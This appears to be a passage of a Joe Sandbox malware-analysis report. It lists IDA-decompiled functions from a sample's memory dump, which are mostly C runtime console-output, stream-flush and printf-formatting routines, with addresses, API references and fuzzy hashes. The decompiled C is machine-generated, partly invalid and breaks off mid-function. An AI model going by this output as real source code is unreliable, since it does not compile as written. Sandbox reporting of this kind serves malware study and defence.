Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction ID: 4a161f827b4fb2488d00fa3a7a8cdca22fb199766d1399a550ac29dc97202756
Opcode Fuzzy Hash: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction Fuzzy Hash: B141E4B1D05629DFDF24CF58CC99BAEB7B5BB48304F24919AD408A7240C739AE84CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0043B440, Relevance: 9.1, APIs: 6, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0043B440(void* __edx, void _a4) {
				long _v8;
				int _v12;
				signed int _v16;
				void _v24;
				signed int _t12;
				void _t14;
				void* _t25;
				void* _t31;
				void* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edx;
				_t12 =  *0x440354; // 0x30896efa
				_v16 = _t12 ^ _t35;
				if( *0x4416b4 == 0) {
					L12:
					if( *0x4416b4 != 0) {
						L16:
						_t14 = _a4;
					} else {
						_v12 = WideCharToMultiByte(GetConsoleOutputCP(), 0,  &_a4, 1,  &_v24, 5, 0, 0);
						if( *0x441744 == 0xffffffff) {
							L15:
							_t14 = 0xffff;
						} else {
							_t31 =  *0x441744; // 0xfffffffe
							if(WriteConsoleA(_t31,  &_v24, _v12,  &_v8, 0) != 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
					}
				} else {
					if( *0x441744 == 0xfffffffe) {
						E0043D270();
					}
					if( *0x441744 != 0xffffffff) {
						_t31 =  *0x441744; // 0xfffffffe
						if(WriteConsoleW(_t31,  &_a4, 1,  &_v8, 0) != 0) {
							 *0x4416b4 = 1;
							goto L12;
						} else {
							if( *0x4416b4 != 2 || GetLastError() != 0x78) {
								_t14 = 0xffff;
							} else {
								 *0x4416b4 = 0;
								goto L12;
							}
						}
					} else {
						_t14 = 0xffff;
					}
				}
				return E0042BC70(_t14, _t25, _v16 ^ _t35, _t31, _t33, _t34);
			}

0x0043b440
0x0043b448
0x0043b44f
0x0043b459
0x0043b4ce
0x0043b4d5
0x0043b528
0x0043b528
0x0043b4d7
0x0043b4f6
0x0043b500
0x0043b521
0x0043b521
0x0043b502
0x0043b510
0x0043b51f
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b51f
0x0043b500
0x0043b45b
0x0043b462
0x0043b464
0x0043b464
0x0043b470
0x0043b48a
0x0043b499
0x0043b4c4
0x00000000
0x0043b49b
0x0043b4a2
0x0043b4bb
0x0043b4af
0x0043b4af
0x00000000
0x0043b4c2
0x0043b4a2
0x0043b472
0x0043b472
0x0043b472
0x0043b470
0x0043b539

APIs

___initconout.LIBCMTD ref: 0043B464

Part of subcall function 0043D270: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,0043B469), ref: 0043D289

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 0043B4E9
WideCharToMultiByte.KERNEL32(00000000), ref: 0043B4F0
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 0043B517

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 531c05ce2fc9eb36074d429764f17e375db4a339401e4897159e9cefc42b094c
Instruction ID: 1fcc41d1e767a76dccc04a6a7881fd8fae8104bc2f11fa6f66ee911f6d44b2c2
Opcode Fuzzy Hash: 531c05ce2fc9eb36074d429764f17e375db4a339401e4897159e9cefc42b094c
Instruction Fuzzy Hash: 2821D334500204EBDB20DFA4DD05BBA3364EB1D719F10123AFB069A2F1D7789984DB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0043D363, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0043D363() {
				signed int _t104;
				void* _t119;
				void* _t122;
				void* _t130;
				signed int _t179;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t197;

				if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000002;
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xffffffef;
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					 *(_t195 - 4) = 0;
					_t136 =  *(_t195 - 4);
					 *(_t195 - 0xc) =  *(_t195 - 4);
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000108) == 0) {
							 *(_t195 - 4) = 2;
							 *((short*)(_t195 - 0x14)) =  *(_t195 + 8) & 0x0000ffff;
							 *(_t195 - 0xc) = E00432FB0( *(_t195 - 0x10),  *(_t195 - 0x10), _t195 - 0x14,  *(_t195 - 4));
							L25:
							if( *(_t195 - 0xc) ==  *(_t195 - 4)) {
								_t104 =  *(_t195 + 8) & 0x0000ffff;
							} else {
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
							}
							goto L28;
						}
						if( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t119 = L0041E330();
							_t197 = _t197 + 0x14;
							if(_t119 == 1) {
								asm("int3");
							}
						}
						 *(_t195 - 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
						 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) + 2;
						 *( *((intOrPtr*)(_t195 - 8)) + 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 0x18)) - 2;
						if( *(_t195 - 4) <= 0) {
							if( *(_t195 - 0x10) == 0xffffffff ||  *(_t195 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t195 - 0x18)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t195 - 0x18)) = (( *(_t195 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x55b840 + ( *(_t195 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t195 - 0x18)) + 4; // 0xa80
							_t152 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t179 =  *(_t195 - 0x10);
								 *(_t195 - 0x20) = E00432C70(_t152, _t179, _t179, 0, 0, 2);
								 *(_t195 - 0x1c) = _t179;
								if(( *(_t195 - 0x20) &  *(_t195 - 0x1c)) != 0xffffffff) {
									goto L23;
								}
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
								goto L28;
							}
						} else {
							 *(_t195 - 0xc) = E00432FB0( *((intOrPtr*)(_t195 - 8)),  *(_t195 - 0x10),  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)),  *(_t195 - 4));
							L23:
							 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)))) =  *(_t195 + 8) & 0x0000ffff;
							goto L25;
						}
					}
					if( *((intOrPtr*)(_t195 - 8)) == E004265A0() + 0x20 ||  *((intOrPtr*)(_t195 - 8)) == E004265A0() + 0x40) {
						_t136 =  *(_t195 - 0x10);
						_t122 = E00433DE0(_t130,  *(_t195 - 0x10), _t193, _t194,  *(_t195 - 0x10));
						_t197 = _t197 + 4;
						if(_t122 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433D20(_t136,  *((intOrPtr*)(_t195 - 8)));
						_t197 = _t197 + 4;
						goto L10;
					}
				} else {
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000010) == 0) {
						 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
						_t104 = 0xffff;
						L28:
						return _t104;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x0043d39d
0x0043d3e9
0x0043d3f5
0x0043d404
0x0043d40a
0x0043d411
0x0043d418
0x0043d41b
0x0043d429
0x0043d461
0x0043d46d
0x0043d575
0x0043d585
0x0043d59d
0x0043d5a0
0x0043d5a6
0x0043d5c1
0x0043d5a8
0x0043d5b4
0x0043d5b7
0x0043d5b7
0x00000000
0x0043d5a6
0x0043d47e
0x0043d480
0x0043d485
0x0043d487
0x0043d48c
0x0043d491
0x0043d493
0x0043d498
0x0043d49e
0x0043d4a0
0x0043d4a0
0x0043d49e
0x0043d4ac
0x0043d4bb
0x0043d4c9
0x0043d4d0
0x0043d4f2
0x0043d515
0x0043d4fa
0x0043d510
0x0043d510
0x0043d51f
0x0043d523
0x0043d526
0x00000000
0x0043d528
0x0043d52e
0x0043d53a
0x0043d53d
0x0043d549
0x00000000
0x00000000
0x0043d557
0x0043d55a
0x00000000
0x0043d55a
0x0043d4d2
0x0043d4e9
0x0043d561
0x0043d570
0x00000000
0x0043d570
0x0043d4d0
0x0043d436
0x0043d445
0x0043d449
0x0043d44e
0x0043d453
0x00000000
0x00000000
0x00000000
0x0043d455
0x0043d455
0x0043d459
0x0043d45e
0x00000000
0x0043d45e
0x0043d39f
0x0043d3a2
0x0043d3b2
0x0043d3dc
0x0043d3df
0x0043d5c6
0x0043d5c9
0x0043d5c9
0x0043d3bd
0x0043d3cb
0x00000000
0x0043d3cb

APIs

__isatty.LIBCMTD ref: 0043D449
__getbuf.LIBCMTD ref: 0043D459
__write.LIBCMTD ref: 0043D4E1

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 0043D480
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 0043D48C

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 64080dcf8a9839b88a5f72092980c2ecbb4a5b58109d2a22cc529bd38bf0d299
Instruction ID: f17759530157b6d11022afbb3071f75bf8d820d665b93caa1cadbe4ffc2406cd
Opcode Fuzzy Hash: 64080dcf8a9839b88a5f72092980c2ecbb4a5b58109d2a22cc529bd38bf0d299
Instruction Fuzzy Hash: DB51C675E00208EFDB14CF94D491AADFBB1FF88324F248299E845AB395D634EA81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 004268E1, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E004268E1() {
				signed int _t102;
				signed int _t104;
				signed int _t114;
				void* _t118;
				void* _t121;
				signed int _t126;
				void* _t129;
				signed int _t174;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t192;

				if(( *( *(_t190 - 8) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000002;
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xffffffef;
					 *( *(_t190 - 8) + 4) = 0;
					 *(_t190 - 4) = 0;
					_t135 =  *(_t190 - 4);
					 *(_t190 - 0xc) =  *(_t190 - 4);
					if(( *( *(_t190 - 8) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *(_t190 - 8) + 0xc) & 0x00000108) == 0) {
							 *(_t190 - 4) = 1;
							 *(_t190 - 0xc) = E00432FB0( *(_t190 - 4),  *(_t190 - 0x10), _t190 + 8,  *(_t190 - 4));
							L25:
							if( *(_t190 - 0xc) ==  *(_t190 - 4)) {
								_t102 =  *(_t190 + 8) & 0x000000ff;
							} else {
								_t104 =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								 *( *(_t190 - 8) + 0xc) = _t104;
								_t102 = _t104 | 0xffffffff;
							}
							goto L28;
						}
						if( *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t118 = L0041E330();
							_t192 = _t192 + 0x14;
							if(_t118 == 1) {
								asm("int3");
							}
						}
						 *(_t190 - 4) =  *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8));
						 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8)) + 1;
						 *( *(_t190 - 8) + 4) =  *((intOrPtr*)( *(_t190 - 8) + 0x18)) - 1;
						if( *(_t190 - 4) <= 0) {
							if( *(_t190 - 0x10) == 0xffffffff ||  *(_t190 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t190 - 0x14)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t190 - 0x14)) = (( *(_t190 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x55b840 + ( *(_t190 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t190 - 0x14)) + 4; // 0xa80
							_t149 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t174 =  *(_t190 - 0x10);
								 *(_t190 - 0x1c) = E00432C70(_t149, _t174, _t174, 0, 0, 2);
								 *(_t190 - 0x18) = _t174;
								if(( *(_t190 - 0x1c) &  *(_t190 - 0x18)) != 0xffffffff) {
									goto L23;
								}
								_t114 =  *(_t190 - 8);
								 *(_t114 + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								_t102 = _t114 | 0xffffffff;
								goto L28;
							}
						} else {
							 *(_t190 - 0xc) = E00432FB0( *(_t190 - 8),  *(_t190 - 0x10),  *((intOrPtr*)( *(_t190 - 8) + 8)),  *(_t190 - 4));
							L23:
							 *((char*)( *((intOrPtr*)( *(_t190 - 8) + 8)))) =  *(_t190 + 8);
							goto L25;
						}
					}
					if( *(_t190 - 8) == E004265A0() + 0x20 ||  *(_t190 - 8) == E004265A0() + 0x40) {
						_t135 =  *(_t190 - 0x10);
						_t121 = E00433DE0(_t129,  *(_t190 - 0x10), _t188, _t189,  *(_t190 - 0x10));
						_t192 = _t192 + 4;
						if(_t121 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433D20(_t135,  *(_t190 - 8));
						_t192 = _t192 + 4;
						goto L10;
					}
				} else {
					 *( *(_t190 - 8) + 4) = 0;
					if(( *( *(_t190 - 8) + 0xc) & 0x00000010) == 0) {
						_t126 =  *(_t190 - 8);
						 *( *(_t190 - 8) + 0xc) =  *(_t126 + 0xc) | 0x00000020;
						_t102 = _t126 | 0xffffffff;
						L28:
						return _t102;
					}
					 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8));
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x00426919
0x00426963
0x0042696f
0x0042697e
0x00426984
0x0042698b
0x00426992
0x00426995
0x004269a3
0x004269db
0x004269e7
0x00426ae6
0x00426b01
0x00426b04
0x00426b0a
0x00426b23
0x00426b0c
0x00426b12
0x00426b18
0x00426b1b
0x00426b1b
0x00000000
0x00426b0a
0x004269f8
0x004269fa
0x004269ff
0x00426a01
0x00426a06
0x00426a0b
0x00426a0d
0x00426a12
0x00426a18
0x00426a1a
0x00426a1a
0x00426a18
0x00426a26
0x00426a35
0x00426a43
0x00426a4a
0x00426a6c
0x00426a8f
0x00426a74
0x00426a8a
0x00426a8a
0x00426a99
0x00426a9d
0x00426aa0
0x00000000
0x00426aa2
0x00426aa8
0x00426ab4
0x00426ab7
0x00426ac3
0x00000000
0x00000000
0x00426ace
0x00426ad1
0x00426ad4
0x00000000
0x00426ad4
0x00426a4c
0x00426a63
0x00426ad9
0x00426ae2
0x00000000
0x00426ae2
0x00426a4a
0x004269b0
0x004269bf
0x004269c3
0x004269c8
0x004269cd
0x00000000
0x00000000
0x00000000
0x004269cf
0x004269cf
0x004269d3
0x004269d8
0x00000000
0x004269d8
0x0042691b
0x0042691e
0x0042692e
0x0042694c
0x00426958
0x0042695b
0x00426b28
0x00426b2b
0x00426b2b
0x00426939
0x00426947
0x00000000
0x00426947

APIs

__isatty.LIBCMTD ref: 004269C3
__getbuf.LIBCMTD ref: 004269D3
__write.LIBCMTD ref: 00426A5B

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 004269FA
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 00426A06

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: e099a88fcb4db35d6a5e9089101c9f3d5217fd82cdc495e31c6b4d650f41cb7c
Instruction ID: 881f450be94a3c60ca1b1653bf08da971f2b7cc4145cef660882ac6d6e7d6292
Opcode Fuzzy Hash: e099a88fcb4db35d6a5e9089101c9f3d5217fd82cdc495e31c6b4d650f41cb7c
Instruction Fuzzy Hash: 8851DA74A00218EFDB04CF94D491AADFBB1FF88324F55C299D445AB395D635EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00427CE5, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427CE5() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *(_t524 - 0x30) = 8;
					while(1) {
						L137:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L139:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L144:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428310(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428310(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
												 *(__ebp - 0x2ac) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428310(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b0) = E00428330(__ebp + 0x14);
										 *(__ebp - 0x2ac) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428330(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L161;
								}
								L157:
								__eflags =  *(__ebp - 0x2ac);
								if(__eflags > 0) {
									goto L161;
								}
								L158:
								if(__eflags < 0) {
									L160:
									 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
									__edx =  *(__ebp - 0x2ac);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
									 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L162:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2b8);
											__eax =  *(__ebp - 0x2b4);
											__eax =  *(__ebp - 0x2b4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2b4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L172:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L174;
										}
										L173:
										 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
											L177:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L181:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L207;
													}
													L182:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E004356D0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00435710( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2bc);
															__eax = E004356D0(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L203:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E00435710(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L204;
													} else {
														L195:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L203;
														}
														L196:
